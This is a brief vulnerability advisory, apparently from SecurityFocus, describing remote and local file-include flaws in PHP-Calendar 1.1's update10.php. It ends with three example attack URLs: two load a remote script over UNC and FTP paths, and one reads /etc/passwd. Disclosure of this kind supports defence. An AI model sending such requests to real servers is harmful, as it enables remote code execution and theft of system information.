source: https://www.securityfocus.com/bid/37450/info
PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
PHP-Calendar 1.1 is vulnerable; other versions may also be affected.
http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd